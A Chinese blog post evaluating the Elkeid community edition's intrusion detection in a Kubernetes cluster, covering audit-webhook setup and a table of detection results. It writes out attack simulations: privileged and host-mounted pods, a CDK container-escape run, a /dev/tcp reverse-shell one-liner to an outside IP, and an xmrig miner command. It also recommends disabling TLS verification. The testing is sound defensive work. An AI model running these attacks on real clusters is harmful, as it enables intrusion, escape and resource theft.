📘 文档目的与功能
本文是《Elkeid 笔记(一):主机入侵检测》的续篇,也算是 《K8s 系列五》, 将重点验证 Elkeid 社区版在 Kubernetes 容器集群环境下的安全检测能力。
主要内容包括:
- 容器集群接入:如何将 K8s 集群接入 Elkeid,以及配置过程中的常见坑点与解决方案
- 安全检测验证:模拟容器逃逸、特权容器、RBAC 越权、敏感挂载等典型攻击场景
- 能力评估总结:客观评价 Elkeid 社区版在容器安全场景下的表现与局限性
本文基于以下测试环境:
- K8s 集群:v1.28.0(kubeadm 部署),见《K8s 系列一》
- Elkeid 服务端:v1.9.1(Docker all-in-one)
一、容器集群接入配置
1.1 前置准备
# 1. 获取 K8s API Server 地址
kubectl config view -o jsonpath='{.clusters[0].cluster.server}'
# 示例输出:https://192.168.20.165:6443
# 2. 确认 CA 证书路径(kubeadm 部署固定路径)
ls /etc/kubernetes/pki/ca.crt
1.2 生成集群接入配置

./create-kubeconfig-for-elkeid-cwpp.sh \
k8s-20.165 \
local \
https://192.168.20.165:6443 \
/etc/kubernetes/pki/ca.crt
参数说明:
| 参数 | 示例值 | 说明 |
|---|---|---|
| 集群名称 | k8s-20.165 | 自定义,用于控制台标识 |
| 区域 | local | 自定义 |
| API Server 地址 | https://192.168.20.165:6443 | 你的 K8s API 地址 |
| CA 证书路径 | /etc/kubernetes/pki/ca.crt | 固定路径 |
执行后会输出以下样例内容,粘贴进Elkeid 的 kubeconfig窗口
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDR***************
***************
users:
- name: elkeid-cwpp-console
user:
client-certificate-data: LS0RLcUdFbk09Ci0tLS0tR******0tLS0K

1.3 配置 K8s 入侵检测(关键步骤)
Elkeid 的容器入侵检测依赖 K8s 审计日志,需要手动配置。这是整个接入过程中最容易踩坑的环节。
① 创建配置文件目录
在所有 Master 节点上执行:
mkdir -p /etc/kubernetes/elkeid-audit
cd /etc/kubernetes/elkeid-audit
下载以下两个文件,准备放入该目录:
audit-policy.yaml:审计策略规则audit.kubeconfig:Webhook 连接配置
② 修改 audit.kubeconfig
⚠️ 关键坑点:默认证书颁发给 127.0.0.1,需要手动修改。

apiVersion: v1
kind: Config
clusters:
- name: elkeid-audit-webhook-server
cluster:
server: https://192.168.20.223:6754/rawdata/audit
insecure-skip-tls-verify: true
# 删除 certificate-authority-data 段
⚠️ 格式警告:insecure-skip-tls-verify: true 前严禁使用 Tab,必须用空格缩进,否则 kube-apiserver 无法启动。
③ 参照“插件安装指引”,修改 kube-apiserver 配置
编辑 /etc/kubernetes/manifests/kube-apiserver.yaml,添加以下内容:
在 command 部分添加:
- --audit-policy-file=/etc/kubernetes/audit/audit-policy.yaml
- --audit-webhook-config-file=/etc/kubernetes/audit/audit.kubeconfig
volumeMounts 部分添加: - mountPath: /etc/kubernetes/audit/
name: elkeid-audit
readOnly: true
volumes 部分添加: - hostPath:
path: /etc/kubernetes/elkeid-audit
type: Directory
name: elkeid-audit
④ 重启 kube-apiserver
# 触发 static pod 重启
mv /etc/kubernetes/manifests/kube-apiserver.yaml /tmp/
mv /tmp/kube-apiserver.yaml /etc/kubernetes/manifests/
systemctl restart kubelet #备用
# 验证审计参数是否加载,如没加载到需查看日志
ps -ef | grep kube-apiserver | grep -v grep | tr ' ' '\n' | grep audit
journalctl -u kubelet -f --since "5 minutes ago" | grep -i apiserver

1.4 验证安全组件状态
确认安全组件状态为已 正常运行。

二、入侵检测能力测试
以下测试在 K8s 集群中模拟各类攻击行为,验证 Elkeid 的检测效果。
2.1 敏感目录挂载(高危提权)
测试目的:验证挂载宿主机 /etc 等敏感目录是否能被检测。
# 创建文件
cat > hostpath-etc.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: hostpath-etc-pod
spec:
containers:
- name: alpine
image: alpine
command: ["sleep", "3600"]
volumeMounts:
- name: host-etc
mountPath: /host/etc
readOnly: false
volumes:
- name: host-etc
hostPath:
path: /etc
type: Directory
EOF
# 应用文件
kubectl apply -f hostpath-etc.yaml
kubectl delete -f hostpath-etc.yaml
kubectl exec -it hostpath-etc-pod -- ls -la /etc/passwd
host_path_mount / 敏感目录挂载(紧急/高风险)测试结果:❌ 未检测到,仅触发代码执行告警
2.2 宿主机网络/进程空间滥用
测试目的:验证 hostNetwork: true 和 hostPID: true 是否能被检测。
# 创建文件
cat > hostnetwork-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: hostnetwork-pod
spec:
hostNetwork: true
hostPID: true
containers:
- name: alpine
image: alpine
command: ["sleep", "3600"]
EOF
# 应用文件
kubectl apply -f hostnetwork-pod.yaml
kubectl exec -it hostnetwork-pod -- ps aux # 查看宿主机进程
kubectl exec -it hostnetwork-pod -- ip addr # 查看宿主机网络
host_network_pod / 宿主机网络权限(高风险)测试结果:❌ 未检测到,仅触发(
ps aux 和 ip addr 代码执行告警)2.3 特权容器创建
测试目的:验证创建 privileged: true 的特权容器是否能被检测。
# 创建文件
cat > privileged.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: privileged-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
privileged: true
command: ["sleep", "3600"]
EOF
# 应用文件
kubectl apply -f privileged.yaml
测试结果:✅ 成功触发提权告警,这是 K8s 容器安全最核心的高危行为,告警信息完整、风险等级匹配
2.4 以 root 身份运行容器
# 创建文件
cat > runasroot-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: privileged-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
privileged: true
command: ["sleep", "3600"]
EOF
# 应用文件
kubectl apply -f runasroot-pod.yaml
container_run_as_root / 容器以 root 运行(中高风险)测试结果:❌ 未检测到(社区版规则未覆盖此类弱风险配置)
2.5 访问 K8s Secret 敏感信息
测试目的:验证读取 Secret 敏感资源是否能被检测。
# 1. 先创建一个测试 Secret
kubectl create secret generic test-db-password --from-literal=mysql_root_password=Admin@123456 -n default
# 2. 执行访问操作(触发审计)
kubectl get secret test-db-password -n default -o yaml
kubectl describe secret test-db-password -n default
kubectl get secret test-db-password -o yaml
kubectl describe secret test-db-password
测试结果:❌ 未检测到
2.6 使用 latest 标签镜像
测试目的:验证使用无版本标签的镜像是否能被检测。
# 创建文件
cat > untrusted-image.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: untrusted-image-pod
spec:
containers:
- name: nginx
image: nginx:latest
command: ["sleep", "3600"]
EOF
# 应用文件
kubectl apply -f untrusted-image.yaml
image_latest_tag / 使用 latest 标签镜像(中风险)测试结果:❌ 未检测到
2.7 RBAC 越权:创建 ClusterRoleBinding
测试目的:验证将 cluster-admin 权限绑定给普通用户是否能被检测。
kubectl create clusterrolebinding test-admin-binding --clusterrole=cluster-admin --user=test-user
rbac_privilege_escalation / RBAC 提权(紧急)测试结果:✅ 成功触发 — 高风险/后门驻留

三、高级攻击场景测试
3.1 容器逃逸(CDK 工具)
测试目的:验证容器逃逸行为是否能被检测。
# 创建特权Pod配置
cat > cdk-attack-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: cdk-attack-pod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: ubuntu
image: ubuntu:22.04
securityContext:
privileged: true
capabilities:
add: ["ALL"]
command: ["sleep", "3600"]
volumeMounts:
- name: host-root
mountPath: /host
readOnly: false
- name: docker-sock
mountPath: /var/run/docker.sock
- name: kubelet
mountPath: /var/lib/kubelet
volumes:
- name: host-root
hostPath:
path: /
- name: docker-sock
hostPath:
path: /var/run/docker.sock
- name: kubelet
hostPath:
path: /var/lib/kubelet
EOF
# 应用配置
kubectl apply -f cdk-attack-pod.yaml
# 宿主机下载 CDK 工具
wget https://github.com/cdk-team/CDK/releases/download/v1.5.6/cdk_linux_amd64
kubectl cp cdk_linux_amd64 cdk-attack-pod:/cdk
# 在已运行的Pod内执行
kubectl exec -it cdk-attack-pod -- bash
chmod +x cdk && ./cdk run mount-disk


测试结果:❌ 未检测到(容器逃逸成功但 Elkeid 无告警)
3.2 反弹 Shell
测试目的:验证容器内执行反向连接是否能被检测
模拟方式(在Pod内执行bash -i、连接外部IP):
kubectl exec -it nginx-test-566dbd78d4-4x8kw -- bash
bash -i >& /dev/tcp/10.10.10.10/6666 0>&1
reverse_shell / 反弹连接(高危)。
3.3 挖矿行为模拟
测试目的:验证挖矿程序特征是否能被检测。
模拟方式:进程名或参数包含矿池域名(pool.*.com)、CPU异常。
# 模拟挖矿程序
./xmrig --donate-level 1 -o pool.supportxmr.com:3333
# 或仅模拟CPU占用
dd if=/dev/zero of=/dev/null &
crypto_miner / 挖矿木马(高危)。
四、测试结果汇总
| 测试项 | 预期告警 | 检测结果 |
|---|---|---|
| 敏感目录挂载(/etc) | host_path_mount |
❌ 未检测到 |
| hostNetwork + hostPID | host_network_pod |
❌ 未检测到 |
| 特权容器 | 提权攻击(紧急) | ✅ 成功 |
| RBAC 越权(cluster-admin) | rbac_privilege_escalation |
✅ 成功 |
| 以 root 身份运行 | container_run_as_root |
❌ 未检测到 |
| 访问 Secret | 敏感资源访问 | ❌ 未检测到 |
| latest 镜像标签 | image_latest_tag |
❌ 未检测到 |
| 容器逃逸(CDK) | 容器逃逸告警 | ❌ 未检测到 |
| 反弹 Shell | reverse_shell |
❌ 未检测到 |
| 挖矿行为 | crypto_miner |
❌ 未检测到 |
五、总结对比与简评
5.1 容器安全能力总结
根据实测,Elkeid 社区版对 K8s 的安全检测能力非常有限,仅能覆盖少量基础配置风险。
| 能力维度 | 测试项 | 检测结果 | 说明 |
|---|---|---|---|
| 配置风险检测 | 特权容器 | ✅ 成功 | 官方“少量样例”之一,检测准确 |
| 配置风险检测 | RBAC越权(cluster-admin) | ✅ 成功 | 官方“少量样例”之一,检测准确 |
| 配置风险检测 | 敏感目录挂载(/etc) | ❌ 未检测到 | 仅触发代码执行告警,非配置检测 |
| 配置风险检测 | hostNetwork / hostPID滥用 | ❌ 未检测到 | 仅触发代码执行告警,非配置检测 |
| 配置风险检测 | 以root身份运行 | ❌ 未检测到 | 社区版规则未覆盖 |
| 运行时入侵检测 | 容器逃逸(CDK) | ❌ 未检测到 | 社区版无此能力 |
| 运行时入侵检测 | 反弹Shell | ❌ 未检测到 | 社区版无此能力 |
| 运行时入侵检测 | 挖矿行为 | ❌ 未检测到 | 社区版无此能力 |
| 资源访问检测 | 访问K8s Secret | ❌ 未检测到 | 仅记录审计日志,无告警 |
| 镜像安全检测 | 使用latest标签镜像 | ❌ 未检测到 | 社区版无此能力 |
结论:实测结果与官方文档“K8S 基础入侵检测:少量样例”的描述完全一致——确实只有“少量”,仅特权容器和 RBAC 越权两项能被检测出来。
5.2 适用场景建议
✅ 适合的场景:
- 对容器集群进行极其基础的安全配置检查(检测是否有人创建了特权容器或进行了危险赋权)
- 作为概念验证(POC),快速了解此类产品的工作原理
❌ 不适合的场景:
- 需要一个有效的容器运行时安全防护方案
- 需要检测容器逃逸、反弹Shell、挖矿等真实入侵行为
- 需要对镜像、Secret访问、不当配置进行全面检测
5.3 踩坑总结
| 问题 | 解决方案 |
|---|---|
| audit.kubeconfig 中误用了 Tab 缩进 | 统一用空格缩进 |
| 证书绑定 127.0.0.1 导致连接失败 | 删除 certificate-authority-data,添加 insecure-skip-tls-verify: true |
| kube-apiserver 重启后审计参数丢失 | 检查 YAML 格式,确保缩进正确 |
| 审计日志未上报 | 检查 Elkeid Server 地址和端口(6754)是否可达 |
5.4 一句话总结
Elkeid 社区版在容器安全领域仅能检测“特权容器”和“RBAC越权”两项基础配置风险,对容器逃逸、反弹Shell、挖矿等运行时攻击完全无法检测。配置 K8s 审计日志接入时坑点较多,需仔细处理证书和 YAML 格式。
如果期望获得有效的容器运行时安全防护,社区版目前的能力可能无法满足需求。
六、参考资料
- Elkeid GitHub Issues #657 —— 证书问题讨论
- Elkeid 官方文档
- CDK 容器逃逸工具